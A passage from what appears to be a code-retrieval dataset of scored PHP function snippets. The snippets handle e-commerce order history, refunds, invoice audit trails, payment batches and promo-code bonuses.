$arProduct['DISCOUNT_PRICE'] = $arProduct['DISCOUNT_PRICE'] + $arProduct['PRICE'] - $newPrice;\n }\n if(isset($item['discount']) || isset($item['discountPercent'])) {\n $arProduct['PRICE'] -= $arProduct['DISCOUNT_PRICE'];\n }\n if (isset($item['offer']['name']) && $item['offer']['name']) {\n $arProduct['NAME'] = self::fromJSON($item['offer']['name']);\n }\n $arProduct = self::updateCancelProp($arProduct, 0);\n } elseif (isset($item['isCanceled'])) {\n $arProduct['PRICE'] = 0;\n $arProduct = self::updateCancelProp($arProduct, 1);\n }\n\n if (isset($item['created']) && $item['created'] == true) {\n if(!Add2BasketByProductID($item['offer']['externalId'], $item['quantity'], $arProduct, $p['PROPS'])){\n self::eventLog('ICrmOrderActions::orderHistory', 'Add2BasketByProductID', 'Error element add');\n }\n \n continue;\n }\n\n if (count($p['PROPS']) > 0) {\n $arProduct['PROPS'] = $p['PROPS'];\n }\n if (isset($item['quantity']) && $item['quantity']) {\n $arProduct['QUANTITY'] = $item['quantity'];\n }\n if (isset($item['offer']['name']) && $item['offer']['name']) {\n $arProduct['NAME'] = self::fromJSON($item['offer']['name']);\n }\n\n if(!CSaleBasket::Update($p['ID'], $arProduct)){\n self::eventLog('ICrmOrderActions::orderHistory', 'CSaleBasket::Update', 'Error element update');\n }\n CSaleBasket::DeleteAll($userId);\n }\n else{\n $arProduct = array();\n \n if (isset($item['created']) && $item['created'] == true) {\n $arProduct = array(\n 'FUSER_ID' => $userId,\n 'ORDER_ID' => $order['externalId'],\n 'LID' => $LID,\n 'NOTES' => $item['comment'],\n );\n }\n \n if (isset($item['isCanceled']) == false) {\n if (isset($item['initialPrice']) && $item['initialPrice']) {\n $arProduct['PRICE'] = (double) $item['initialPrice'];\n }\n if (isset($item['discount'])) {\n $arProduct['DISCOUNT_PRICE'] = $item['discount'];\n }\n if (isset($item['discountPercent'])) {\n $arProduct['DISCOUNT_VALUE'] = $item['discountPercent'];\n $newPrice = round($arProduct['PRICE'] / 100 * (100 - $arProduct['DISCOUNT_VALUE']), 2);\n $arProduct['DISCOUNT_PRICE'] = $arProduct['DISCOUNT_PRICE'] + $arProduct['PRICE'] - $newPrice;\n }\n if(isset($item['discount']) || isset($item['discountPercent'])) {\n $arProduct['PRICE'] -= $arProduct['DISCOUNT_PRICE'];\n }\n if (isset($item['offer']['name']) && $item['offer']['name']) {\n $arProduct['NAME'] = self::fromJSON($item['offer']['name']);\n }\n $arProduct = self::updateCancelProp($arProduct, 0);\n } elseif (isset($item['isCanceled'])) {\n $arProduct['PRICE'] = 0;\n $arProduct = self::updateCancelProp($arProduct, 1);\n }\n \n if (isset($item['quantity']) && $item['quantity']) {\n $arProduct['QUANTITY'] = $item['quantity'];\n }\n if (isset($item['offer']['name']) && $item['offer']['name']) {\n $arProduct['NAME'] = self::fromJSON($item['offer']['name']);\n }\n \n if (isset($item['created']) && $item['created'] == true) {\n $iBlocks = unserialize(COption::GetOptionString(self::$MODULE_ID, self::$CRM_CATALOG_IBLOCKS, 0));\n $iBlock = array_shift($iBlocks);\n \n $newSection = new CIBlockSection;\n $newSectionFields = Array(\n \"ACTIVE\" => 'N',\n \"IBLOCK_ID\" => $iBlock,\n \"NAME\" => 'RetailCRM',\n \"CODE\" => 'RetailCRM',\n );\n $resSection = $newSection->Add($newSectionFields);\n if(!$resSection){\n self::eventLog('ICrmOrderActions::orderHistory', 'CIBlockSection::Add', 'Error castom section add');\n \n continue;\n }\n\n $arLoadProductArray = Array(\n \"IBLOCK_SECTION_ID\" => $resSection,\n \"IBLOCK_ID\" => $iBlock,\n \"NAME\" => $item['offer']['name'] ? $item['offer']['name'] : 'RetailCrmElement',\n \"CODE\" => 'RetailCrmElement',\n \"ACTIVE\" => 'Y'\n );\n $el = new CIBlockElement;\n $PRODUCT_ID = $el->Add($arLoadProductArray, false, false, true); \n if(!$PRODUCT_ID){\n self::eventLog('ICrmOrderActions::orderHistory', 'CIBlockElement::Add', 'Error castom element add');\n \n continue;\n }\n\n if(!CCatalogProduct::Add(array(\"ID\" => $PRODUCT_ID))){\n self::eventLog('ICrmOrderActions::orderHistory', 'CCatalogProduct::Add', 'Error product add');\n \n continue;\n }\n\n $arFields = Array(\n \"PRODUCT_ID\" => $PRODUCT_ID,\n \"CATALOG_GROUP_ID\" => COption::GetOptionString(self::$MODULE_ID, self::$CRM_CATALOG_BASE_PRICE, 0),\n \"PRICE\" => $item['initialPrice'] ? $item['initialPrice'] : 1,\n \"CURRENCY\" => CCurrency::GetBaseCurrency(),\n );\n if(!CPrice::Add($arFields)){\n self::eventLog('ICrmOrderActions::orderHistory', 'CPrice::Add', 'Error price add');\n \n continue;\n }\n \n $Params = array(\n array(\n 'NAME' => 'id',\n 'CODE' => 'ID',\n 'VALUE' => $item['offer']['externalId']\n )\n );\n if(!Add2BasketByProductID($PRODUCT_ID, $item['quantity'], $arProduct, $Params)){\n self::eventLog('ICrmOrderActions::orderHistory', 'Add2BasketByProductID', 'Error add to basket');\n \n continue;\n } \n\n if(!CIBlockSection::Delete($resSection)){\n self::eventLog('ICrmOrderActions::orderHistory', 'CIBlockSection::Delete', 'Error delete section');\n \n continue;\n } \n \n continue;\n }\n \n $prp = CSaleBasket::GetPropsList(array(), array(\"ORDER_ID\" => $order['externalId'], \"CODE\" => 'ID', \"VALUE\" => $item['offer']['externalId']))->Fetch();\n CSaleBasket::Update($prp['BASKET_ID'], $arProduct);\n }\n }\n\n if (isset($order['delivery']) === false || isset($order['delivery']['cost']) === false) {\n $order['delivery']['cost'] = $arFields['PRICE_DELIVERY'];\n }\n\n if (isset($order['summ']) === false || $order['summ'] <= 0) {\n $order['summ'] = $arFields['PRICE'] - $arFields['PRICE_DELIVERY'];\n }\n\n $wasCanaceled = $arFields['CANCELED'] == 'Y' ? true : false;\n\n if (isset($optionsDelivTypes[$order['delivery']['code']])) {\n $resultDeliveryTypeId = $optionsDelivTypes[$order['delivery']['code']];\n } else {\n $resultDeliveryTypeId = isset($order['delivery']['service']) && isset($order['delivery']['service']['code']) ?\n reset(explode(\":\", $arFields['DELIVERY_ID'], 1)) :\n $arFields['DELIVERY_ID'];\n }\n\n if(isset($order['delivery']['service']) && isset($order['delivery']['service']['code'])) {\n $deliveryHandler = reset(CSaleDeliveryHandler::GetBySID($resultDeliveryTypeId)->arResult);\n if (count($deliveryHandler) > 0 && array_key_exists($order['delivery']['service']['code'], $deliveryHandler['PROFILES'])) {\n $resultDeliveryTypeId = $resultDeliveryTypeId . ':' . $order['delivery']['service']['code'];\n }\n }\n\n // orderUpdate\n $arFields = self::clearArr(array(\n 'PRICE_DELIVERY' => $order['delivery']['cost'],\n 'PRICE' => $order['summ'] + (double) $order['delivery']['cost'],\n 'DATE_MARKED' => $order['markDatetime'],\n 'USER_ID' => $userId,\n 'PAY_SYSTEM_ID' => $optionsPayTypes[$order['paymentType']],\n 'DELIVERY_ID' => $resultDeliveryTypeId,\n 'STATUS_ID' => $optionsPayStatuses[$order['status']],\n 'REASON_CANCELED' => self::fromJSON($order['statusComment']),\n 'USER_DESCRIPTION' => self::fromJSON($order['customerComment']),\n 'COMMENTS' => self::fromJSON($order['managerComment'])\n ));\n\n if (isset($order['discount'])) {\n $arFields['DISCOUNT_VALUE'] = $order['discount'];\n $arFields['PRICE'] -= $order['discount'];\n }\n\n if(!empty($arFields)) {\n try {\n CSaleOrder::Update($order['externalId'], $arFields);\n } catch (Exception $e) {\n self::eventLog(\n 'ICrmOrderActions::orderHistory', 'CSaleOrder::Update',\n $e->getCode() . ': ' . $e->getMessage() . ' (order external id: '.$order['externalId'].')'\n );\n continue;\n }\n }\n\n if(isset($order['status']) && $order['status']) {\n if(isset($optionsPayStatuses[$order['status']]) && $optionsPayStatuses[$order['status']]) {\n // set STATUS_ID\n CSaleOrder::StatusOrder($order['externalId'], $optionsPayStatuses[$order['status']]);\n\n if($wasCanaceled && $optionsPayStatuses[ $order['status'] ] != 'YY') {\n CSaleOrder::CancelOrder($order['externalId'], \"N\", $order['statusComment']);\n } elseif ($optionsPayStatuses[ $order['status'] ] == 'YY') {\n CSaleOrder::CancelOrder($order['externalId'], \"Y\", $order['statusComment']);\n }\n }\n }\n\n // set PAYED\n if(isset($order['paymentStatus']) && $order['paymentStatus'] && $optionsPayment[$order['paymentStatus']]) {\n CSaleOrder::PayOrder($order['externalId'], $optionsPayment[$order['paymentStatus']]);\n }\n\n if(function_exists('intarocrm_order_post_persist')) {\n intarocrm_order_post_persist($order);\n }\n }\n }\n\n if (count($orderHistory) > 0) {\n COption::SetOptionString(self::$MODULE_ID, self::$CRM_ORDER_HISTORY_DATE, $dateFinish->format('Y-m-d H:i:s'));\n }\n\n $GLOBALS['INTARO_CRM_FROM_HISTORY'] = false;\n\n return true;\n }", "title": "" }, { "docid": "7622d9c5807e74e28dc7a8ad4f5e34d9", "score": "0.5132905", "text": "function removeHistoryCancelEntry() {\n// ~~~~~~~~~~~~~~~~~~~~~~~~\n\t$lines = file(UNRAID_PARITY_HISTORY_FILE);\n\t$lastline = count($lines) - 1;\n\t$line = $lines[$lastline];\t\t\t// get last line\n\tparityTuningLoggerTesting (\"Last History Line $lastline: $line\");\n\t// Remove it if it contains a cancellation error code entry\n\tif (strpos($line,'|-4|')) {\n\t\tunset($lines[$lastline]);\n\t\tfile_put_contents(UNRAID_PARITY_HISTORY_FILE, $lines, LOCK_EX);\n\t\tparityTuningLoggerTesting (\"Removed last (Cancelled) entry from History\");\n\t} else {\n\t\tparityTuningLoggerTesting (\"Last History entry is not a Cancelled one!\");\n\t}\n}", "title": "" }, { "docid": "5eaa7d7400e6977805234e86866e102e", "score": "0.51238286", "text": "private function update_invoice_audit_trail($payment_due_id, $reg_inv_id = 0) {\n\n $insert_status = TRUE;\n\n $this->db->select(\"*\");\n\n $this->db->from(\"enrol_invoice\");\n\n $this->db->where(\"pymnt_due_id\", $payment_due_id);\n\n $result =$this->db->get()->row();\n //print_r($this->db->last_query());exit;\n//print_r($result);\n $audit_inv_data = array(\n 'invoice_id' => $result->invoice_id,\n 'pymnt_due_id' => $result->pymnt_due_id,\n 'inv_date' => $result->inv_date,\n 'inv_type' => $result->inv_type,\n 'company_id' => $result->company_id,\n 'regen_inv_id' => $reg_inv_id,\n 'total_inv_amount' => $result->total_inv_amount,\n 'total_unit_fees' => $result->total_unit_fees,\n 'total_inv_discnt' => $result->total_inv_discnt,\n 'total_inv_subsdy' => $result->total_inv_subsdy,\n 'total_gst' => $result->total_gst,\n 'gst_rate' => $result->gst_rate,\n 'gst_rule' => $result->gst_rule,\n 'invoice_generated_on' => $result->invoice_generated_on,\n 'invoiced_on' => $result->invoiced_on,\n 'invoice_excess_amt' => $result->invoice_excess_amt\n );\n// print_r($audit_inv_data);exit;\n $this->db->trans_start();\n\n $this->db->insert('enrol_invoice_audittrail', $audit_inv_data);\n\n $this->db->trans_complete();\n\n if ($this->db->trans_status() === FALSE) {\n\n $insert_status = FALSE;\n }\n\n return $insert_status;\n }", "title": "" }, { "docid": "f8f5bbe8fc9f7dabd7fdb4ce690792ba", "score": "0.5111657", "text": "public function saveOrderCanceled($order,$order_id, $customer_id)\n {\n if($customer_id)\n {\n $creditcustomer = $this->_creditcustomerFactory->create()->load($customer_id);\n $oldcredit = $creditcustomer->getCredit();\n $collection = $this->creditHistoryFactory->create()\n ->getCollection()\n ->addFieldToFilter('type_transaction',\\MW\\Affiliate\\Model\\Transactiontype::USE_TO_CHECKOUT)\n ->addFieldToFilter('customer_id',$customer_id)\n ->addFieldToFilter('transaction_detail',$order_id)\n ->addFieldToFilter('status',\\MW\\Affiliate\\Model\\Orderstatus::PENDING);\n\n foreach($collection as $credithistory)\n {\n // chi cap nhat lai trang thai va set lai credit\n $amount=$credithistory->getAmount();\n $newcredit = $oldcredit - $amount;\n $oldcredit = round($oldcredit,2);\n $newcredit = round($newcredit,2);\n $amount = round($amount,2);\n $status = \\MW\\Affiliate\\Model\\Orderstatus::CANCELED;\n $credithistory ->setStatus($status)->save();\n\n // luu them vao credit history kieu cancel order using credit to checkout\n $historyData = array(\n 'customer_id'\t\t\t=> $customer_id,\n 'type_transaction'\t\t=> \\MW\\Affiliate\\Model\\Transactiontype::CANCEL_USE_TO_CHECKOUT,\n 'status'\t\t\t\t=> MW\\Affiliate\\Model\\Orderstatus::COMPLETE,\n 'transaction_detail'\t=> $order_id,\n 'amount'\t\t\t\t=> -$amount,\n 'beginning_transaction'=> $oldcredit,\n 'end_transaction'\t\t=> $newcredit,\n 'created_time'\t\t\t=> date(\"Y-m-d H:i:s\", (new \\DateTime())->getTimestamp())\n );\n $this->creditHistoryFactory->create()->setData($historyData)->save();\n\n // refund credit, add again credit\n $creditcustomer->setCredit($newcredit)->save();\n }\n // gui mail cho customer khi checkout credit co don hang bi huy\n $credit = $this->creditorderFactorty->create()->load($order_id)->getCredit();\n if($credit > 0)\n {\n $storeId = $order->getStoreId();\n $store_name = $this->_storeManager->getStore($storeId)->getName();\n $storeCode = $this->_storeManager->getStore($storeId)->getCode();\n $sender = $this->_dataHelper->getStoreConfig('affiliate/customer/email_sender', $storeCode);\n $email = $this->_customerFactory->create()->load($customer_id)->getEmail();\n $name = $this->_customerFactory->create()->load($customer_id)->getName();\n $teampale = 'affiliate/customer/email_template_credit_balance_changed';\n $sender_name = $this->_dataHelper->getStoreConfig('trans_email/ident_'.$sender.'/name', $storeCode);\n $customer_credit_link = $this->_storeManager->getStore($storeId)->getUrl('credit');\n $data_mail['customer_name'] = $name;\n $data_mail['transaction_amount'] = $this->_dataHelper->formatMoney(-$amount);\n $data_mail['customer_balance'] = $this->_dataHelper->formatMoney($newcredit);\n $comment = __('You checkout by credit order #%s. Your order was cancelled',$order_id);\n $data_mail['transaction_detail'] = $comment;\n $data_mail['transaction_time'] = date(\"Y-m-d H:i:s\", (new \\DateTime())->getTimestamp());\n $data_mail['sender_name'] = $sender_name;\n $data_mail['store_name'] = $store_name;\n $data_mail['customer_credit_link'] = $customer_credit_link;\n $this->_dataHelper->getModelExtensions('\\MW\\Affiliate\\Helper\\Data')->_sendEmailTransactionNew($sender,$email,$name,$teampale,$data_mail,$storeCode);\n }\n }\n }", "title": "" }, { "docid": "dff9b41cb6462553c53ce91b08aff3e5", "score": "0.5078149", "text": "protected function recordHistoricCopy()\n\t{\n\t}", "title": "" }, { "docid": "ff44bd8299d623fe68130f68ad6210d3", "score": "0.50762075", "text": "public function getPurchaseStatusChangeHistory(Sale $sale)\n {\n }", "title": "" }, { "docid": "e98b4b550a63a05422deb249e1be79bf", "score": "0.50750977", "text": "public function processRefund($payload)\n {\n $helper = Mage::helper('gobeep_ecommerce');\n $refund = Mage::getModel('gobeep_ecommerce/refund');\n $refund->addData([\n 'status' => SdkInterface::STATUS_PENDING,\n 'order_id' => $payload->orderId,\n 'created_at' => $payload->createdAt,\n 'updated_at' => $payload->createdAt,\n 'refund_email_sent' => 0,\n 'winning_email_sent' => 0\n ]);\n\n $errors = [];\n if (!Zend_Validate::is($refund->getOrderId(), 'NotEmpty')) {\n $errors[] = $helper->__('`orderId` can\\'t be empty');\n } else {\n // Check if refund already exists\n $existingRefund = Mage::getModel('gobeep_ecommerce/refund')\n ->load($refund->getOrderId());\n if ($existingRefund->getId()) {\n return null;\n }\n // Check if order exists\n $order = Mage::getModel('sales/order')->load($refund->getOrderId());\n if (!$order->getData()) {\n $errors[] = $helper->__('Order doesn\\'t exist');\n } else {\n $refund->setOrderIncrementId($order->getIncrementId());\n }\n }\n\n //$validator = new Zend_Validate_Date(['format' => 'dd-mm-yyyy H:i:s']);\n if (!Zend_Date::isDate($refund->getCreatedAt(), Zend_Date::RFC_3339)) {\n $errors[] = $helper->__('`createdAt` is not a valid date');\n }\n\n if ($errors) {\n return $errors;\n }\n\n $refund->save(false);\n $refund->sendStatusNotification();\n\n Mage::dispatchEvent('gobeep_ecommerce_adminhtml_webhook_refund', [$refund]);\n\n return null;\n }", "title": "" }, { "docid": "e28dfa892d82b4f9d979683bcdbe0563", "score": "0.5057793", "text": "public function back_from_amazon() {\n\t\tif ( self::returned_from_offsite() ) {\n\t\t\tself::set_token( urldecode( $_GET['tokenID'] ) );\n\t\t\tself::set_reference( $_GET['callerReference'] );\n\t\t\t// let the checkout know that this isn't a fresh start\n\t\t\t// Note: This is where the magic happens so that GBS doesn't restart checkout \n\t\t\t// and knows to land the user on the payment review page and\n\t\t\t// the process_payment is then fired after the customer lands on the payment review page.\n\t\t\t$_REQUEST['gb_checkout_action'] = 'back_from_amazon';\n\t\t} elseif ( !isset( $_REQUEST['gb_checkout_action'] ) ) {\n\t\t\t// this is a new checkout. clear the token so we don't give things away for free\n\t\t\tself::unset_token();\n\t\t\tself::unset_reference();\n\t\t}\n\t}", "title": "" }, { "docid": "04fde3bf54f1109458e16e735e11a144", "score": "0.50528514", "text": "public function getTransaction(){\n\t\tif(null === $this->_currentTransaction){\n\t\t\t$orderId = $this->getInfo()->getParentId();\n\t\t\t$orderIncrementId = Mage::getModel('sales/order')->load($orderId)->getIncrementId();\n\t\t\t$this->_currentTransaction = Mage::getModel('laybuy/report')->getCollection()->addFieldToFilter('order_id',array('eq'=>$orderIncrementId));\n\t\t}\n\t\treturn $this->_currentTransaction;\n\t}", "title": "" }, { "docid": "c4af5ef8bf2805ccc88a80ef98d0b57b", "score": "0.50396436", "text": "public function smsRollback()\n {\n $this->SMS_token = '';\n $this->SMS_attempts--;\n $this->SMS_time = null;\n $this->save();\n }", "title": "" }, { "docid": "5e34862493fb409576ba76438d114554", "score": "0.50312716", "text": "protected function Transactions_Refresh() {\n\t\t\t$this->objPaymentArray = CreditCardPayment::LoadArrayByPaypalBatchIdUnlinkedFlag($this->objBatch->Id, false, \n\t\t\t\tQQ::OrderBy(QQN::CreditCardPayment()->DateCaptured));\n\t\t\t\n\t\t\tif ($this->objBatch->ReconciledFlag) {\n\t\t\t\t$this->lblInstructionHtml->Text = sprintf('This PayPal Batch was posted to NOAH on <strong>%s</strong>.<br/><strong>No more changes can be made to this PayPal Batch.</strong><br/><br/>' . \n\t\t\t\t\t'Click the following to view the linked <strong><a href=\"/stewardship/batch.php/%s#1\">Stewardship Batch</a></strong>.<br/>' . \n\t\t\t\t\t'Click on any <strong>Date Captured</strong> below on a credit card transaction with a donation record to view its linked Stewardship Entry.', \n\t\t\t\t\t$this->objBatch->DateReconciled->ToString('MMMM D YYYY at h:mm z'), $this->objBatch->StewardshipBatchId);\n\t\t\t\t$this->btnPost->Visible = false;\n\t\t\t\t$this->btnSplit->Visible = false;\n\t\t\t\t$this->dtxDateCredited->Visible = false;\n\t\t\t} else if ($this->objBatch->IsUncategorizedPaymentsExist()) {\n\t\t\t\t$this->lblInstructionHtml->Text = 'There are currently unspecified funding accounts for one more more credit card payment line item. Please ensure all items are accounted for before posting to NOAH.';\n\t\t\t\t$this->btnPost->Visible = false;\n\t\t\t\t$this->btnSplit->Visible = false;\n\t\t\t\t$this->dtxDateCredited->Visible = false;\n\t\t\t\t\n\t\t\t\tif (CreditCardPayment::CountByPaypalBatchIdUnlinkedFlag($this->objBatch->Id, true)) {\n\t\t\t\t\t$this->lblInstructionHtml->Text .= '<br/><br/><strong>WARNING!</strong> There are unaccountable Credit Card Payment records in this batch!';\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->lblInstructionHtml->Text = 'This PayPal Batch has not yet been posted to NOAH. Click on <strong>Post to NOAH</strong> when you are sure that there are no more changes or additions left for this batch.';\n\t\t\t\t$this->btnPost->Visible = true;\n\t\t\t\t$this->btnSplit->Visible = true;\n\t\t\t\t$this->dtxDateCredited->Visible = true;\n\t\t\t\t$this->btnPost->RemoveAllActions(QClickEvent::EventName);\n\n\t\t\t\tif (CreditCardPayment::CountByPaypalBatchIdUnlinkedFlag($this->objBatch->Id, true)) {\n\t\t\t\t\t$this->lblInstructionHtml->Text .= '<br/><br/><strong>WARNING!</strong> There are unaccountable Credit Card Payment records in this batch!';\n\t\t\t\t\t$this->btnPost->AddAction(new QClickEvent(), new QConfirmAction('NOTE! There are unaccountable Credit Card Payment records in this batch! You are about to PERMANENTLY post this batch to NOAH. No changes can be made after this point. Are you SURE you want to proceed?'));\n\t\t\t\t\t$this->btnPost->AddAction(new QClickEvent(), new QAjaxAction('btnPost_Click'));\n\t\t\t\t} else {\n\t\t\t\t\t$this->btnPost->AddAction(new QClickEvent(), new QConfirmAction('You are about to PERMANENTLY post this batch to NOAH. No changes can be made after this point. Are you SURE you want to proceed?'));\n\t\t\t\t\t$this->btnPost->AddAction(new QClickEvent(), new QAjaxAction('btnPost_Click'));\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$this->dtgTransactions->Refresh();\n\t\t\t$this->dtgFunding->Refresh();\n\t\t}", "title": "" }, { "docid": "a2880244c43a2b981e04c62de2d73269", "score": "0.5016697", "text": "function get_unconfirmed_record($id) {\r\n $ret = array();\r\n $db = $GLOBALS['context']->db;\r\n $sql = \"select * from stm_take_stock_record where take_stock_record_id = :take_stock_record_id\";\r\n $take_stock_record = $db->get_row($sql, array(\":take_stock_record_id\" => $id));\r\n $time = $take_stock_record['take_stock_time'];\r\n $store_code = $take_stock_record['store_code'];\r\n //采购入库单\r\n $sql = \"select * from pur_purchaser_record where is_check_and_accept = 0 and store_code = :store_code and record_time <= :time\";\r\n $ret['pur_purchaser'] = $db->get_all($sql, array(\":time\" => $time, \":store_code\" => $store_code));\r\n\r\n //采购退货单\r\n $sql = \"select * from pur_return_record where is_store_out = 0 and store_code = :store_code and record_time <= :time\";\r\n $ret['pur_return'] = $db->get_all($sql, array(\":time\" => $time, \":store_code\" => $store_code));\r\n\r\n //调整单\r\n $sql = \"select * from stm_stock_adjust_record where is_check_and_accept = 0 and store_code = :store_code and record_time <= :time\";\r\n $ret['stm_adjust'] = $db->get_all($sql, array(\":time\" => $time, \":store_code\" => $store_code));\r\n\r\n //批发销货单\r\n $sql = \"select * from wbm_store_out_record where is_store_out = 0 and store_code = :store_code and record_time <= :time\";\r\n $ret['store_out'] = $db->get_all($sql, array(\":time\" => $time, \":store_code\" => $store_code));\r\n //批发退货单\r\n $sql = \"select * from wbm_return_record where is_store_in = 0 and store_code = :store_code and record_time <= :time\";\r\n $ret['wbm_return'] = $db->get_all($sql, array(\":time\" => $time, \":store_code\" => $store_code));\r\n //移仓单\r\n $sql = \"select * from stm_store_shift_record where is_shift_out = 0 and shift_out_store_code = :store_code and record_time <= :time\";\r\n $ret['stm_store_shift'] = $db->get_all($sql, array(\":time\" => $time, \":store_code\" => $store_code));\r\n return $ret;\r\n }", "title": "" }, { "docid": "7d3eb2a61bea53eadf55ec596122d2ac", "score": "0.4997091", "text": "public function CancelReentry($pay)\n {\n if(auth()->user()->id > 7){return redirect('/home');}\n \n $data = payment::find($pay);\n //dd($data); \n $data->STATUS= 'CANCEL';\n $data->save();\n return redirect('/reentryMGT');\n }", "title": "" }, { "docid": "845ed21dbf2e808eb476ed72fe54dbda", "score": "0.4991814", "text": "public function contract_previous($student_id, $contract_id){\n $all_id=$this->db->select('id')->where('student_id', $student_id)->get('academics_contracts')->result();\n \n $prev_key;\n $prev_contract_id;\n\n foreach ($all_id as $key => $value) {\n if($value->id == $contract_id){\n if($key==0){\n $prev_key=$key;\n }\n else{\n $prev_key=$key-1;\n }\n }\n }\n\n foreach ($all_id as $key => $value) {\n if($key == $prev_key){\n $prev_contract_id= $value->id;\n }\n }\n\n redirect('student-contract/'.$student_id.\"/\".$prev_contract_id);\n }", "title": "" }, { "docid": "ef45dee29ce5ea3cfd9bb5c01b9260e0", "score": "0.49794626", "text": "public function restored(MobileTransaction $mobileTransaction)\n {\n //\n }", "title": "" }, { "docid": "c2b6277b0d934028f756ab1738f2a30e", "score": "0.49748254", "text": "function _mtr_services_linnworks_refundendpoint($user_data) {\n watchdog(\"mtr_services_linnworks_refundendpoint\", json_encode($user_data));\n\n /*\n $jayParsedAry = [\n \"Refund\" => [\n \"ReferenceNumber\" => \"91291\",\n \"ExternalReference\" => \"\",\n \"RefundShippingAmount\" => 0,\n \"Items\" => [\n [\n \"SKU\" => \"Samsung-Galaxy-S10-Plus-Blue-Unlocked-128GB-Excellent-MAR\",\n \"OrderLineNumber\" => \"0\",\n \"RefundAmount\" => 434.99,\n \"Reason\" => \"Other\",\n \"SecondaryReason\" => \"\"\n ]\n ]\n ],\n \"AuthorizationToken\" => \"zWQsST6dklLqY0dNqlDRxCcNapv5T2pOpPma_8D_0Xw\"\n ];\n\n */\n try {\n $errors = [];\n // Set 4G orders to Completed\n $order_id = $user_data[\"Refund\"][\"ReferenceNumber\"];\n\n foreach ($user_data[\"Refund\"][\"Items\"] as $key => $linnworks_order) {\n\n $order = (isset($order_id)) ? commerce_order_load($order_id) : FALSE;\n if ($order !== FALSE) {\n $order = commerce_order_status_update($order, \"refunded\");\n //$order = commerce_order_status_update($order, \"refunded\");\n watchdog(\"mtr_services_refundendpoint\", json_encode($order));\n // $order->field_tracking_no[0]['rendered'] = $linnworks_order[\"TrackingNumber\"];\n $commerce_order = commerce_order_save($order);\n if ($commerce_order != \"SAVED_NEW\" && $commerce_order != \"SAVED_UPDATED\") {\n $errors[] = $order_id;\n }\n }\n else {\n $errors[] = \"There is no proper Order ID\";\n watchdog(\"mtr_services_refundendpoint error\", \"There is no proper Order ID\");\n }\n }\n\n $orderserrors = [];\n foreach ($errors as $key => $error) {\n $orderserrors[] = [\n \"Error\" => \"Refund failed for some reason\",\n \"ReferenceNumber\" => $error\n ];\n }\n\n $response = [\n \"Error\" => null,\n \"Orders\" => $orderserrors\n ];\n $output = json_encoded_response($response);\n\n print $output;\n }\n catch (Exception $e) {\n watchdog(\"mtr_services_error\", $e);\n }\n\n die();\n}", "title": "" }, { "docid": "aa542bdd7a73ae967181e2761d74e5af", "score": "0.49742088", "text": "public function retoure()\n {\n $this->_initRatepayDetails($this->getEditObject());\n $this->paymentChangeRequest('return');\n }", "title": "" }, { "docid": "72847118591d130277e2fa523735067d", "score": "0.496644", "text": "public function get_enroll_prev_invoice($invoice_id) \n {\n $query= 'select invoice_id as previous_inv_id from enrol_invoice_audittrail where regen_inv_id=\"'.$invoice_id.'\"';\n $query = $this->db->query($query);\n return $query->result();\n }", "title": "" }, { "docid": "f25048e3ea9df39cf1dd35cf982b3d0f", "score": "0.4958493", "text": "public function updatePromoHistory($booking_id,$customer_id,$total_fare){ \n $promo = $this->AuthModel->getSingleRecord('promocode_history',array('booking_id'=>$booking_id,'user_id'=>$customer_id));\n if(!empty($promo)){ \n $promoRec = $this->AuthModel->getSingleRecord('promocode',array('promo_id'=>$promo->promo_id));\n if(!empty($promoRec)){\n $min_trip_amount = $promoRec->min_trip_amount; \n //Check if trip fare greater then set promotional minimum fare then promotion bouns applied\n if($total_fare>$min_trip_amount)\n {\n $history_id = $promo->history_id;\n $rate_type = $promo->rate_type;\n $rate = $promo->rate;\n $promo_type = $promo->promo_type;\n if($rate_type=='Percentage'){\n $user_earn = ($total_fare*$rate)/100;\n if($user_earn>$promoRec->max_amount){ //if promotion earning grater then max bonus amount\n $user_earn=$promoRec->max_amount;\n }\n }else{\n $user_earn = $rate;\n }\n if($this->AuthModel->updateRecord(array('history_id'=>$history_id),'promocode_history',array('promo_earn'=>$user_earn,'status'=>1))){\n $this->AuthModel->updateRecord(array('booking_id'=>$booking_id),'booking',array('promo_earn'=>$user_earn));\n //**************** Update promotion used ********************************//\n $pre_used = $promoRec->user_used;\n $new_used = $pre_used+1;\n if($new_used==$promoRec->user_used){ \n $this->AuthModel->updateRecord(array('promo_id'=>$promo->promo_id),'promocode',array('user_used'=>$new_used,'status'=>'Deactive'));\n }\n else{\n $this->AuthModel->updateRecord(array('promo_id'=>$promo->promo_id),'promocode',array('user_used'=>$new_used));\n }\n //**************** If promotion type is 1(after complete type) ********************************//\n if($promo_type==1){ \n //Update promo bonus amount in CitiPay wallet\n $receiver_wallet = $this->AuthModel->getSingleRecord('wallet_balance',array('user_id'=>$customer_id));\n if(!empty($receiver_wallet)){\n $receiver_prebalance = $receiver_wallet->balance;\n $receiver_newBalance = $receiver_prebalance+$user_earn; \n\n if($transaction_id = $this->AuthModel->singleInsert('wallet_transaction',array('receiver_id'=>$customer_id,'sender_id'=>'','type'=>'cr','amount'=>$user_earn,'description'=>'Promo Code Bonus of Trip id '.$booking_id,'transaction_status'=>'Success','reciver_balance'=>$receiver_newBalance,'sender_balance'=>'','transaction_at'=>date('Y-m-d H:i:s')))) //store transaction record\n {\n $this->AuthModel->updateRecord(array('user_id'=>$customer_id),'wallet_balance',array('balance'=>$receiver_newBalance,'update_at'=>date('Y-m-d H:i:s')));//update receiver balance \n $message = \"Promotional bonus \".$user_earn.' '.$promoRec->currency.\" of booking_id \".$booking_id.\" has been credited to your CitiPay Wallet\"; //for customer notification.\n $this->AuthModel->singleInsert('notifications',array('user_id'=>$customer_id,'subject'=>\"Promotional Bonus\",\"message\"=>$message,'notification_at'=>date('d-m-Y h:i A')));\n } \n else{\n $transaction_id = $this->AuthModel->singleInsert('wallet_transaction',array('receiver_id'=>$customer_id,'amount'=>$user_earn,'description'=>'Promo Code Bonus for Trip id '.$booking_id,'transaction_status'=>'Failure','reciver_balance'=>$receiver_prebalance,'transaction_at'=>date('Y-m-d H:i:s')));\n $message = \"Sorry! Promotional bonus \".$user_earn.' '.$promoRec->currency.\" of booking_id \".$booking_id.\" has been failed. Please contact with support\"; \n }\n }\n }\n else{\n $message = \"Hey! You got \".$user_earn.' '.$promoRec->currency.\" promotion bonus of booking_id \".$booking_id;\n //echo $message;\n //for customer notification.\n } \n }\n }\n else{\n $message = \"Sorry Promotion is not applied! Your trip fare is less then promotional minimum trip fare.\";\n //echo $message;\n }\n } \n }\n }", "title": "" }, { 